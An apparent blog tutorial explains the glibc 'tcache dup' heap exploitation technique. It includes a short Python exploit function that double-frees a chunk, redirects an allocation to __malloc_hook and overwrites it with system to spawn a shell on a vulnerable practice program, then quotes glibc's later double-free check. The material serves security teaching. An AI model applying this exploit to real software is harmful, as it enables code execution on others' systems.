Categories
Application Security Heap Exploitation

glibc Heap Exploitation: tcache dup

tcache dup makes use of a double free (like fastbin dup). The fastbin dup makes use of the fastbin freelists, while tcache dup makes use of the tcache freelists. When we allocate a chunk and free it twice, the subsequent allocations will be duplicate and we can trick the allocator into returning a desired memory location by writing into the duplicated chunks.

Example

(Refer to the vulnerable C menu-style application and the exploit script)

def exploit_tcache_dup(ps, leaked_addr, system_addr, binsh_addr, interactive=False):
	chunk_size = 1032
	# allocate a tcache-sized chunk
	A = ps.alloc(chunk_size)
	# perform a double-free
	ps.free(A)
	ps.free(A)
	# B should have same location as A
	B = ps.alloc(chunk_size)
	ps.write(B, p64(leaked_addr))
	C, D = [ps.alloc(chunk_size) for _ in range(2)]
	# D is now at __malloc_hook. We overwrite it with the addr of system
	ps.write(D, p64(system_addr))
	return ps.try_spawn_shell(binsh_addr, interactive)

Note

tcache dup is patched in glibc>=2.29 due to a security check on the tcache patching the double free vulnerability.

tcache_entry *e = (tcache_entry *) chunk2mem (p);
/* This test succeeds on double free.  However, we don't 100%
   trust it (it also matches random payload data at a 1 in
   2^<size_t> chance), so verify it's not an unlikely
   coincidence before aborting.  */
if (__glibc_unlikely (e->key == tcache))
{
    tcache_entry *tmp;
    LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
    for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
        if (tmp == e)
            malloc_printerr ("free(): double free detected in tcache 2");
    // ...

Leave a Reply

Your email address will not be published. Required fields are marked *